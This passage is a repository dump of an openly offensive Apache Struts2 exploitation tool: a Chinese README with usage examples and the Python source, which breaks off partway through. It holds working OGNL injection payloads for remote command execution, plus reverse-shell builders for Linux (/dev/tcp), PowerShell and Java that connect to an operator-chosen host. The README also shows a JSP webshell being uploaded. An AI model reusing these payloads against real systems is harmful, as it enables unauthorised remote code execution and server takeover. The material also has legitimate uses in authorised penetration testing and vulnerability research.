├── README.md ├── Struts2Scan.py ├── Struts2无59模块.jar ├── shell.jsp └── struts.bat /README.md: -------------------------------------------------------------------------------- 1 | # 写在前面 2 | 原作者:github地址:[https://github.com/HatBoy/Struts2-Scan](https://github.com/HatBoy/Struts2-Scan) 3 | 感谢原作者开源的工具 4 | 此次是在原有的基础上进行升级,优化。 5 | ## 觉得对你有所帮助就点下右上角的星星支持一下吧 6 | 更新2022-4-16 7 | ```json 8 | 1.添加了S2-062漏洞利用 9 | 其实是对S2-061漏洞的绕过 10 | 支持命令执行,Linux反弹shell,windows反弹shell。 11 | 2.解决了了Windows反弹shell的功能 12 | 底层原理:解决了有效负载Runtime.getRuntime().exec()执行复杂windows命令 13 | 不成功的问题。 14 | 详情文章:https://www.yuque.com/docs/share/0abe4b7e-45fd-4902-a23a-ad51ab72cbb9?# 《使用java命令执行函数反弹windows-shell》 15 | 16 | ``` 17 | 升级内容: 18 | ```json 19 | 1.添加了S2-061漏洞 20 | 2.优化了误报情况。 21 | 3.个别添加了windows反弹shell功能。 22 | 4.原来参数-r ip:port修改成了, 23 | -lr ip:port 反弹Linuxshell 24 | -wr ip:port反弹Windows shell 25 | 5.还有其他细微的地方 26 | ``` 27 | # Struts2-Scan 28 | 29 | + Struts2漏洞利用扫描工具,基于互联网上已经公开的Structs2高危漏洞exp的扫描利用工具,目前支持的漏洞如下: S2-001, S2-003, S2-005, S2-007, S2-008, S2-009, S2-012, S2-013, S2-015, S2-016, S2-019, S2-029, S2-032, S2-033, S2-037, S2-045, S2-046, S2-048, S2-052, S2-053, S2-devMode, S2-057 30 | + 支持单个URL漏洞检测和批量URL检测,至此指定漏洞利用,可获取WEB路径,执行命令,反弹shell和上传文件,注意,并不是所有的漏洞均支持上述功能,只有部分功能支持 31 | + 如有错误或者问题欢迎大家提问交流,一起解决 32 | 33 | ## 运行环境 34 | + Python3.6.X及其以上版本 35 | + 第三方库: click, requests, bs4 36 | + 测试环境: Ubuntu 16.04 37 | + 漏洞环境已上传,参考地址: 38 | + https://github.com/Medicean/VulApps/tree/master/s/struts2/ 39 | + https://github.com/vulhub/vulhub/tree/master/struts2 40 | 41 | ## 工具参数说明 42 | ``` 43 | Usage: Struts2Scan.py [OPTIONS] 44 | 45 | Struts2批量扫描利用工具 46 | 47 | Options: 48 | -i, --info 漏洞信息介绍 49 | -v, --version 显示工具版本 50 | -u, --url TEXT URL地址 51 | -n, --name TEXT 指定漏洞名称, 漏洞名称详见info 52 | -f, --file TEXT 批量扫描URL文件, 一行一个URL 53 | -d, --data TEXT POST参数, 需要使用的payload使用{exp}填充, 如: name=test&passwd={exp} 54 | -c, --encode TEXT 页面编码, 默认UTF-8编码 55 | -p, --proxy TEXT HTTP代理. 格式为http://ip:port 56 | -t, --timeout TEXT HTTP超时时间, 默认10s 57 | -w, --workers TEXT 批量扫描进程数, 默认为10个进程 58 | --header TEXT HTTP请求头, 格式为: key1=value1&key2=value2 59 | -e, --exec 进入命令执行shell 60 | --webpath 获取WEB路径 61 | -lr, --Linux_reverse TEXT 反弹Linux shell地址, 格式为ip:port 62 | -wr, --Win_reverse TEXT 反弹Windows shell地址, 格式为ip:port 63 | --upfile TEXT 需要上传的文件路径和名称 64 | --uppath TEXT 上传的目录和名称, 如: /usr/local/tomcat/webapps/ROOT/shell.jsp 65 | -q, --quiet 关闭打印不存在漏洞的输出,只保留存在漏洞的输出 66 | -h, --help Show this message and exit. 67 | ``` 68 | 69 | ## 使用例子 70 | ### 查看漏洞详细信息: 71 | ``` 72 | $ python3 Struts2Scan.py --info 73 | 74 | ____ _ _ ____ ____ 75 | / ___|| |_ _ __ _ _| |_ ___|___ \ / ___| ___ __ _ _ __ 76 | \___ \| __| '__| | | | __/ __| __) | \___ \ / __/ _` | '_ \ 77 | ___) | |_| | | |_| | |_\__ \/ __/ ___) | (_| (_| | | | | 78 | |____/ \__|_| \__,_|\__|___/_____| |____/ \___\__,_|_| |_| 79 | 80 | Author By HatBoy 81 | 82 | [+] 支持如下Struts2漏洞: 83 | [+] S2-001:影响版本Struts 2.0.0-2.0.8; POST请求发送数据; 默认参数为:username,password; 支持获取WEB路径,任意命令执行和反弹shell 84 | [+] S2-003:影响版本Struts 2.0.0-2.0.11.2; GET请求发送数据; 支持任意命令执行 85 | [+] S2-005:影响版本Struts 2.0.0-2.1.8.1; GET请求发送数据; 支持获取WEB路径,任意命令执行 86 | [+] S2-007:影响版本Struts 2.0.0-2.2.3; POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹shell 87 | [+] S2-008:影响版本Struts 2.1.0-2.3.1; GET请求发送数据; 支持任意命令执行和反弹shell 88 | [+] S2-009:影响版本Struts 2.0.0-2.3.1.1; GET请求发送数据,URL后面需要请求参数名; 默认为: key; 支持任意命令执行和反弹shell 89 | [+] S2-012:影响版本Struts Showcase App 2.0.0-2.3.13; GET请求发送数据,参数直接添加到URL后面; 默认为:name; 支持任意命令执行和反弹shell 90 | [+] S2-013/S2-014:影响版本Struts 2.0.0-2.3.14.1; GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹shell和文件上传 91 | [+] S2-015:影响版本Struts 2.0.0-2.3.14.2; GET请求发送数据; 支持任意命令执行和反弹shell 92 | [+] S2-016:影响版本Struts 2.0.0-2.3.15; GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹shell和文件上传 93 | [+] S2-019:影响版本Struts 2.0.0-2.3.15.1; GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹shell和文件上传 94 | [+] S2-029:影响版本Struts 2.0.0-2.3.24.1(除了2.3.20.3); POST请求发送数据,需要参数; 默认参数:message; 支持任意命令执行和反弹shell 95 | [+] S2-032:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3); GET请求发送数据; 支持获取WEB路径,任意命令执行和反弹shell 96 | [+] S2-033:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3); GET请求发送数据; 支持任意命令执行和反弹shell 97 | [+] S2-037:影响版本Struts 2.3.20-2.3.28.1; GET请求发送数据; 支持获取WEB路径,任意命令执行和反弹shell 98 | [+] S2-045:影响版本Struts 2.3.5-2.3.31,2.5-2.5.10; POST请求发送数据,不需要参数; 支持获取WEB路径,任意命令执行,反弹shell和文件上传 99 | [+] S2-046:影响版本Struts 2.3.5-2.3.31,2.5-2.5.10; POST请求发送数据,不需要参数; 支持获取WEB路径,任意命令执行,反弹shell和文件上传 100 | [+] S2-048:影响版本Struts 2.3.x with Struts 1 plugin and Struts 1 action; POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹shell 101 | [+] S2-053:影响版本Struts 2.0.1-2.3.33,2.5-2.5.10; POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹shell 102 | [+] S2-devMode:影响版本Struts 2.1.0-2.3.1; GET请求发送数据; 支持获取WEB路径,任意命令执行和反弹shell 103 | ``` 104 | 105 | ### 单个URL漏洞检测: 106 | ``` 107 | $ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action 108 | 109 | ____ _ _ ____ ____ 110 | / ___|| |_ _ __ _ _| |_ ___|___ \ / ___| ___ __ _ _ __ 111 | \___ \| __| '__| | | | __/ __| __) | \___ \ / __/ _` | '_ \ 112 | ___) | |_| | | |_| | |_\__ \/ __/ ___) | (_| (_| | | | | 113 | |____/ \__|_| \__,_|\__|___/_____| |____/ \___\__,_|_| |_| 114 | 115 | Author By HatBoy 116 | 117 | [+] 正在扫描URL:http://192.168.100.8:8080/index.action 118 | [*] ----------------results------------------ 119 | [*] http://192.168.100.8:8080/index.action 存在漏洞: S2-046 120 | [*] http://192.168.100.8:8080/index.action 存在漏洞: S2-016 121 | [*] http://192.168.100.8:8080/index.action 存在漏洞: S2-045 122 | [*] http://192.168.100.8:8080/index.action 存在漏洞: S2-015 123 | [*] http://192.168.100.8:8080/index.action 存在漏洞: S2-009 124 | [*] http://192.168.100.8:8080/index.action 存在漏洞: S2-012 125 | ``` 126 | 127 | ### 批量漏洞检测: 128 | ``` 129 | $ python3 Struts2Scan.py -f urls.txt 130 | ``` 131 | 132 | ### POST数据: 133 | ``` 134 | $ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -d name=admin&email=admin&age={exp} 135 | ``` 136 | 137 | ### 指定漏洞名称利用: 138 | ``` 139 | # 命令执行 140 | $ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --exec 141 | 142 | ____ _ _ ____ ____ 143 | / ___|| |_ _ __ _ _| |_ ___|___ \ / ___| ___ __ _ _ __ 144 | \___ \| __| '__| | | | __/ __| __) | \___ \ / __/ _` | '_ \ 145 | ___) | |_| | | |_| | |_\__ \/ __/ ___) | (_| (_| | | | | 146 | |____/ \__|_| \__,_|\__|___/_____| |____/ \___\__,_|_| |_| 147 | 148 | Author By HatBoy 149 | 150 | >>>ls -la 151 | total 136 152 | drwxr-sr-x 1 root staff 4096 May 5 2017 . 153 | drwxrwsr-x 1 root staff 4096 May 5 2017 .. 154 | -rw-r----- 1 root root 57092 Apr 13 2017 LICENSE 155 | -rw-r----- 1 root root 1723 Apr 13 2017 NOTICE 156 | -rw-r----- 1 root root 7064 Apr 13 2017 RELEASE-NOTES 157 | -rw-r----- 1 root root 15946 Apr 13 2017 RUNNING.txt 158 | drwxr-x--- 1 root root 4096 May 5 2017 bin 159 | drwx--S--- 1 root root 4096 Jul 12 14:54 conf 160 | drwxr-sr-x 3 root staff 4096 May 5 2017 include 161 | drwxr-x--- 2 root root 4096 May 5 2017 lib 162 | drwxr-x--- 1 root root 4096 Jul 12 14:54 logs 163 | drwxr-sr-x 3 root staff 4096 May 5 2017 native-jni-lib 164 | drwxr-x--- 2 root root 4096 May 5 2017 temp 165 | drwxr-x--- 1 root root 4096 Jul 12 14:54 webapps 166 | drwxr-x--- 1 root root 4096 Jul 12 14:54 work 167 | >>> 168 | 169 | # 反弹shll 170 | $ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --reverse 192.168.100.8:8888 171 | 172 | ____ _ _ ____ ____ 173 | / ___|| |_ _ __ _ _| |_ ___|___ \ / ___| ___ __ _ _ __ 174 | \___ \| __| '__| | | | __/ __| __) | \___ \ / __/ _` | '_ \ 175 | ___) | |_| | | |_| | |_\__ \/ __/ ___) | (_| (_| | | | | 176 | |____/ \__|_| \__,_|\__|___/_____| |____/ \___\__,_|_| |_| 177 | 178 | Author By HatBoy 179 | 180 | [*] 请在反弹地址处监听端口如: nc -lvvp 8080 181 | 182 | # 获取WEB路径 183 | $ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --webpath 184 | 185 | ____ _ _ ____ ____ 186 | / ___|| |_ _ __ _ _| |_ ___|___ \ / ___| ___ __ _ _ __ 187 | \___ \| __| '__| | | | __/ __| __) | \___ \ / __/ _` | '_ \ 188 | ___) | |_| | | |_| | |_\__ \/ __/ ___) | (_| (_| | | | | 189 | |____/ \__|_| \__,_|\__|___/_____| |____/ \___\__,_|_| |_| 190 | 191 | Author By HatBoy 192 | 193 | [*] /usr/local/tomcat/webapps/ROOT/ 194 | 195 | # 上传shell 196 | $ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --upfile shell.jsp --uppath /usr/local/tomcat/webapps/ROOT/shell.jsp 197 | 198 | ____ _ _ ____ ____ 199 | / ___|| |_ _ __ _ _| |_ ___|___ \ / ___| ___ __ _ _ __ 200 | \___ \| __| '__| | | | __/ __| __) | \___ \ / __/ _` | '_ \ 201 | ___) | |_| | | |_| | |_\__ \/ __/ ___) | (_| (_| | | | | 202 | |____/ \__|_| \__,_|\__|___/_____| |____/ \___\__,_|_| |_| 203 | 204 | Author By HatBoy 205 | 206 | [+] 文件上传成功! 207 | ``` 208 | # 免责声明 209 | 该工具仅用于安全自查检测 210 | 211 | 由于传播、利用此工具所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。 212 | 未经网络安全部门及相关部门允许,不得善自使用本工具进行任何攻击活动,不得以任何方式将其用于商业目的。 213 | -------------------------------------------------------------------------------- /Struts2Scan.py: -------------------------------------------------------------------------------- 1 | # coding=UTF-8 2 | import re 3 | import shlex 4 | import random 5 | import base64 6 | import copy 7 | import os 8 | import hashlib 9 | import string 10 | import sys 11 | import click 12 | import requests 13 | import urllib.request 14 | import urllib.parse 15 | import urllib.error 16 | from lxml import html as lhtml 17 | import time 18 | from requests.exceptions import ChunkedEncodingError, ConnectionError, ConnectTimeout 19 | from urllib.parse import quote, unquote 20 | from functools import partial 21 | from bs4 import BeautifulSoup 22 | from concurrent import futures 23 | import http.client 24 | 25 | http.client.HTTPConnection._http_vsn = 10 26 | http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0' 27 | 28 | __title__ = 'Struts2 Scan' 29 | __version__ = '0.1' 30 | __author__ = 'HatBoy' 31 | 32 | """ 33 | 基于互联网上已经公开的Structs2高危漏洞exp的扫描利用工具,目前支持的漏洞如下: 34 | S2-001,S2-003,S2-005,S2-007,S2-008,S2-009,S2-012,S2-013,S2-015,S2-016,S2-019, 35 | S2-029,S2-032,S2-033,S2-037,S2-045,S2-046,S2-048,S2-052,S2-053,S2-devMode 36 | """ 37 | 38 | default_headers = { 39 | 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36', 40 | 'Host': '127.0.0.1', 41 | 'Cookie': 'JSESSIONID=71326A16712DF953169B74CB6A2DC367' 42 | } 43 | # 全局代理 44 | proxies = None 45 | # 超时时间 46 | _tiemout = 10 47 | # 默认输出所有结果,包括不存在漏洞的 48 | is_quiet = False 49 | # 进程数 50 | process = 10 51 | 52 | """GET请求发送包装""" 53 | 54 | 55 | def get(url, headers=None, encoding='UTF-8'): 56 | try: 57 | requests.packages.urllib3.disable_warnings() 58 | html = requests.get(url, headers=headers, proxies=proxies, timeout=_tiemout, verify=False) 59 | html = html.content.decode(encoding) 60 | # html = html.text 61 | return html.replace('\x00', '').strip() 62 | except ChunkedEncodingError as e: 63 | html = get_stream(url, headers, encoding) 64 | return html 65 | except ConnectionError as e: 66 | return "ERROR:" + "HTTP连接错误" 67 | except ConnectTimeout as e: 68 | return "ERROR:" + "HTTP连接超时错误" 69 | except Exception as e: 70 | return 'ERROR:测试' + str(e) 71 | 72 | 73 | """GET请求发送包装""" 74 | 75 | 76 | def get_302(url, headers=None, encoding='UTF-8'): 77 | try: 78 | html = requests.get(url, headers=headers, proxies=proxies, timeout=_tiemout, allow_redirects=False, 79 | verify=False) 80 | status_code = html.status_code 81 | if status_code == 302: 82 | html = html.headers.get("Location", "") 83 | elif status_code == 200: 84 | html = html.content.decode(encoding) 85 | # html = html.text 86 | html = html.replace('\x00', '').strip() 87 | else: 88 | html = "" 89 | return html 90 | except ConnectionError as e: 91 | return "ERROR:" + "HTTP连接错误" 92 | except ConnectTimeout as e: 93 | return "ERROR:" + "HTTP连接超时错误" 94 | except Exception as e: 95 | return 'ERROR:' + str(e) 96 | 97 | 98 | """分块接受数据""" 99 | 100 | 101 | def get_stream(url, headers=None, encoding='UTF-8'): 102 | try: 103 | requests.packages.urllib3.disable_warnings() 104 | lines = requests.get(url, headers=headers, timeout=_tiemout, stream=True, proxies=proxies, verify=False) 105 | html = list() 106 | for line in lines.iter_lines(): 107 | if b'\x00' in line: 108 | break 109 | line = line.decode(encoding) 110 | html.append(line.strip()) 111 | return '\r\n'.join(html).strip() 112 | except ChunkedEncodingError as e: 113 | return '\r\n'.join(html).strip() 114 | except ConnectionError as e: 115 | return "ERROR:" + "HTTP连接错误" 116 | except ConnectTimeout as e: 117 | return "ERROR:" + "HTTP连接超时错误" 118 | except Exception as e: 119 | return 'ERROR:' + str(e) 120 | 121 | 122 | def post(url, data=None, headers=None, encoding='UTF-8', files=None): 123 | """POST请求发送包装""" 124 | try: 125 | requests.packages.urllib3.disable_warnings() 126 | html = requests.post(url, data=data, headers=headers, proxies=proxies, timeout=_tiemout, files=files, 127 | verify=False) 128 | html = html.content.decode(encoding) 129 | # html = html.text 130 | return html.replace('\x00', '').strip() 131 | except ChunkedEncodingError as e: 132 | html = post_stream(url, data, headers, encoding, files) 133 | return html 134 | except ConnectionError as e: 135 | return "ERROR:" + "HTTP连接错误" 136 | except ConnectTimeout as e: 137 | return "ERROR:" + "HTTP连接超时错误" 138 | except Exception as e: 139 | return 'ERROR:' + str(e) 140 | 141 | 142 | """分块接受数据""" 143 | 144 | 145 | def post_stream(url, data=None, headers=None, encoding='UTF-8', files=None): 146 | try: 147 | requests.packages.urllib3.disable_warnings() 148 | lines = requests.post(url, data=data, headers=headers, timeout=_tiemout, stream=True, proxies=proxies, 149 | files=None, verify=False) 150 | html = list() 151 | for line in lines.iter_lines(): 152 | line = line.decode(encoding) 153 | html.append(line.strip()) 154 | return '\r\n'.join(html).strip() 155 | except ChunkedEncodingError as e: 156 | return '\r\n'.join(html).strip() 157 | except ConnectionError as e: 158 | return "ERROR:" + "HTTP连接错误" 159 | except ConnectTimeout as e: 160 | return "ERROR:" + "HTTP连接超时错误" 161 | except Exception as e: 162 | return 'ERROR:' + str(e) 163 | 164 | 165 | """创建multipart/form-data数据包""" 166 | 167 | 168 | def encode_multipart(exp): 169 | boundary = '----------%s' % hex(int(time.time() * 1000)) 170 | data = list() 171 | data.append('--%s' % boundary) 172 | content = b'x' 173 | decoded_content = content.decode('ISO-8859-1') 174 | data.append('Content-Disposition: form-data; name="test"; filename="{exp}"'.format(exp=exp)) 175 | data.append('Content-Type: text/plain\r\n') 176 | data.append(decoded_content) 177 | data.append('--%s--\r\n' % boundary) 178 | return '\r\n'.join(data), boundary 179 | 180 | 181 | """S2-046漏洞专用""" 182 | 183 | 184 | def post_file(url, exp, headers=None, encoding='UTF-8'): 185 | try: 186 | coded_params, boundary = encode_multipart(exp) 187 | if proxies: 188 | proxy_support = urllib.request.ProxyHandler(proxies) 189 | opener = urllib.request.build_opener(proxy_support) 190 | urllib.request.install_opener(opener) 191 | req = urllib.request.Request(url, coded_params.encode('ISO-8859-1')) 192 | req.add_header('Content-Type', 'multipart/form-data; boundary=%s' % boundary) 193 | if headers: 194 | for key, value in headers.items(): 195 | req.add_header(key, value) 196 | resp = urllib.request.urlopen(req) 197 | html = resp.read().decode(encoding) 198 | return html 199 | except ConnectionError as e: 200 | return "ERROR:" + "HTTP连接错误" 201 | except ConnectTimeout as e: 202 | return "ERROR:" + "HTTP连接超时错误" 203 | except Exception as e: 204 | return 'ERROR:' + str(e) 205 | 206 | 207 | """命令解析,将要执行的命令解析为字符串格式""" 208 | 209 | 210 | def parse_cmd(cmd, type='string'): 211 | cmd = shlex.split(cmd) 212 | if type == 'string': 213 | cmd_str = '"' + '","'.join(cmd) + '"' 214 | elif type == 'xml': 215 | cmd_str = '' + ''.join(cmd) + '' 216 | else: 217 | cmd_str = cmd 218 | return cmd_str 219 | 220 | 221 | """将headers字符串解析为字典""" 222 | 223 | 224 | def parse_headers(headers): 225 | if not headers: 226 | return default_headers 227 | new_headers = copy.deepcopy(default_headers) 228 | headers = headers.split('&') 229 | for header in headers: 230 | header = header.split(':') 231 | new_headers[header[0].strip()] = header[1].strip() 232 | return new_headers 233 | 234 | 235 | """获取随机字符串""" 236 | 237 | 238 | def get_hash(): 239 | time.sleep(1) # 不睡眠不影响结果不知道原因,可能线程原因 240 | letters = string.ascii_letters 241 | rand = ''.join(random.sample(letters, 10)) 242 | hash = hashlib.md5(rand.encode()).hexdigest() 243 | hash = hash[0:10] 244 | return hash 245 | 246 | 247 | """通过echo输出检查漏洞是否存在""" 248 | 249 | 250 | def echo_check(self): 251 | # print("公用选择函数被调用:"+str(sys._getframe().f_back.f_lineno)) 252 | 253 | num = get_hash() 254 | html = self.exec_cmd(f"echo {num}") 255 | nott = f"(echo {num}|echo%20{num}|echo%22%2C%22{num}|echo\+{num})|echo","{num}"" 256 | 257 | if html.startswith("ERROR:"): 258 | return html 259 | elif len(re.findall(nott, html)) == 0: 260 | if num in html: 261 | return True 262 | else: 263 | return False 264 | 265 | 266 | """Linux反弹shell""" 267 | 268 | 269 | def reverse_shell(self, ip, port): 270 | cmd = "bash -i >& /dev/tcp/{ip}/{port} 0>&1".format(ip=ip, port=port) 271 | cmd = base64.b64encode(cmd.encode()).decode() 272 | shell = self.shell.replace('SHELL', cmd) 273 | html = self.exec_cmd(shell) 274 | return html 275 | 276 | 277 | """ Windows反弹shell""" 278 | 279 | 280 | def reverse_shell_win(self, ip, port,method): 281 | print('''1.使用powershell命令进行反弹shell\n 282 | 2.使用java代码反弹shell 283 | 注:清理脚本文件命令 cmd /c del file1 file2 284 | ''') 285 | num = str(input("请选择:")) 286 | if num == "1": 287 | cmd1 = "powershell -nop -c \"$client =New-Object System.Net.Sockets.TCPClient('{ip}',{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()\"" 288 | 289 | cmd = cmd1.format(ip=ip, port=port) 290 | cmd = base64.b64encode(cmd.encode()).decode() 291 | self.exec_cmd("cmd /c echo "+cmd+" >cmd.txt") 292 | print("[+]:写入成功") 293 | # 解码文件 294 | html = self.exec_cmd("cmd /c certutil -f -decode \"cmd.txt\" \"cmd.bat\"") 295 | print("[+]:解码\n"+str(html)) 296 | # 执行文件反弹shell 297 | print("[+]:尝试进行反弹shell") 298 | self.exec_cmd("cmd /c cmd.bat") 299 | # print("[-]:脚本文件:cmd.txt cmd.bat") 300 | # time.sleep(5) 301 | # self.exec_cmd("cmd /c del cmd.txt cmd.bat") 302 | # print("[+]已经清理后门") 303 | return html 304 | elif num == "2": 305 | cmd2 = "echo import java.io.InputStream;import java.io.OutputStream;import java.net.Socket;public class winshell{{public static void main(String[] args) throws Exception {{String host=\"{ip}\";int port={port};String cmd=\"cmd.exe\";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){{while(pi.available()^>0)so.write(pi.read());while(pe.available()^>0)so.write(pe.read());while(si.available()^>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {{p.exitValue();break;}}catch (Exception e){{}}}};p.destroy();s.close();}}}}> winshell.java\npowershell javac winshell.java && java -cp .\ winshell" 306 | cmd = cmd2.format(ip=ip, port=port) 307 | cmd = base64.b64encode(cmd.encode()).decode() 308 | # 写入文件 309 | self.exec_cmd("cmd /c echo " + cmd + " >cmd.txt") 310 | print("[+]:写入成功"+str(cmd)) 311 | # 解码文件 312 | html = self.exec_cmd("cmd /c certutil -f -decode \"cmd.txt\" \"cmd.bat\"") 313 | print("[+]:解码"+str(html)) 314 | # 执行文件反弹shell 315 | print("[+]:尝试进行反弹shell") 316 | h = self.exec_cmd("cmd /c cmd.bat") 317 | print("[-]:脚本文件:cmd.txt cmd.bat winshell.java winshell.class") 318 | # time.sleep(5) 319 | # self.exec_cmd("cmd /c del cmd.txt cmd.bat winshell.java winshell.class") 320 | # print("[+]已经清理后门") 321 | return html 322 | 323 | """检查文件是否存在""" 324 | 325 | 326 | def check_file(file_path): 327 | if os.path.exists(file_path): 328 | return True 329 | else: 330 | click.secho("[ERROR] {file}文件不存在!".format(file=file_path), fg='red') 331 | exit(0) 332 | 333 | 334 | """读文件,默认使用UTF-8编码""" 335 | 336 | 337 | def read_file(file_path, encoding='UTF-8'): 338 | if check_file(file_path): 339 | with open(file_path, 'r', encoding=encoding) as f: 340 | data = f.read() 341 | return data 342 | 343 | 344 | """读取URL文件""" 345 | 346 | 347 | def read_urls(file): 348 | if check_file(file): 349 | with open(file, 'r', encoding='UTF-8') as f: 350 | urls = f.readlines() 351 | urls = [url.strip() for url in urls if url and url.strip()] 352 | return urls 353 | 354 | 355 | """检查int变量""" 356 | 357 | 358 | def check_int(name, t): 359 | try: 360 | t = int(t) 361 | return t 362 | except Exception as e: 363 | click.secho("[ERROR] 参数{name}必须为整数!".format(name=name), fg='red') 364 | exit(0) 365 | 366 | 367 | """提取路径""" 368 | 369 | 370 | def get_path(html): 371 | p = str(html).split("\n") 372 | return p[len(p) - 1] 373 | 374 | 375 | class S2_001: 376 | """S2-001漏洞检测利用类""" 377 | info = "[+] S2-001:影响版本Struts 2.0.0-2.0.8; POST请求发送数据; 默认参数为:username,password; 支持获取WEB路径,任意命令执行和反弹windows,Linux,shell" 378 | check_poc = "%25%7B{num1}%2B{num2}%7D" 379 | web_path = "%25%7B%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23response%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23response.println(%23req.getRealPath('%2F'))%2C%23response.flush()%2C%23response.close()%7D" 380 | exec_payload = "%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B{cmd}%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D" 381 | shell = "bash -c {echo,SHELL}|{base64,-d}|{bash,-i}" 382 | 383 | def __init__(self, url, data=None, headers=None, encoding="UTF-8"): 384 | self.url = url 385 | if not data: 386 | self.data = "username=test&password={exp}" 387 | else: 388 | self.data = data 389 | self.headers = parse_headers(headers) 390 | self.headers['Host'] = self.url.split("/")[2] 391 | self.encoding = encoding 392 | self.is_vul = False 393 | if 'Content-Type' not in self.headers: 394 | self.headers['Content-Type'] = 'application/x-www-form-urlencoded' 395 | 396 | def check(self): 397 | """检测漏洞是否存在""" 398 | num1 = random.randint(10000, 100000) 399 | num2 = random.randint(10000, 100000) 400 | poc = self.check_poc.format(num1=num1, num2=num2) 401 | data = self.data.format(exp=poc) 402 | html = post(self.url, data, self.headers, self.encoding) 403 | nn = str(num1 + num2) 404 | if html.startswith("ERROR:"): 405 | return html 406 | elif nn in html: 407 | self.is_vul = True 408 | return 'S2-001' 409 | else: # 存在检测不到漏洞但可以命令执行 410 | if echo_check(self): 411 | self.is_vul = True 412 | return 'S2-001' 413 | return self.is_vul 414 | 415 | def get_path(self): 416 | """获取web目录""" 417 | data = self.data.format(exp=self.web_path) 418 | html = post(self.url, data, self.headers, self.encoding) 419 | """提取路径""" 420 | # p = str(html).split("\n") 421 | # pwd = p[len(p)-1] 422 | return html 423 | 424 | def exec_cmd(self, cmd): 425 | """执行命令""" 426 | cmd = parse_cmd(cmd) 427 | data = self.data.format(exp=self.exec_payload.format(cmd=quote(cmd))) 428 | html = post(self.url, data, self.headers, self.encoding) 429 | return html 430 | 431 | def reverse_shell(self, ip, port): 432 | """Linux 反弹shell""" 433 | html = reverse_shell(self, ip, port) 434 | return html 435 | 436 | def reverse_shell_win(self, ip, port): 437 | """windows 反弹shell""" 438 | html = reverse_shell_win(self, ip, port, "post") 439 | return html 440 | 441 | 442 | class S2_003: 443 | """S2-003漏洞检测利用类""" 444 | info = "[+] S2-003:影响版本Struts 2.0.0-2.0.11.2; GET请求发送数据; 支持任意命令执行" 445 | exec_payload = "%28%27%5Cu0023context[%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27]%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27{cmd}%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte[51020]%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29" 446 | 447 | def __init__(self, url, data=None, headers=None, encoding="UTF-8"): 448 | self.url = url 449 | self.headers = parse_headers(headers) 450 | self.headers['Host'] = self.url.split("/")[2] 451 | self.encoding = encoding 452 | self.is_vul = False 453 | 454 | def check(self): 455 | """检测漏洞是否存在""" 456 | html = echo_check(self) 457 | if str(html).startswith("ERROR:"): 458 | return html 459 | if html: 460 | self.is_vul = True 461 | return 'S2-003' 462 | 463 | return self.is_vul 464 | 465 | def exec_cmd(self, cmd): 466 | """执行命令""" 467 | payload = self.exec_payload.format(cmd=quote(cmd)) 468 | html = get(self.url + '?' + payload, self.headers, self.encoding) 469 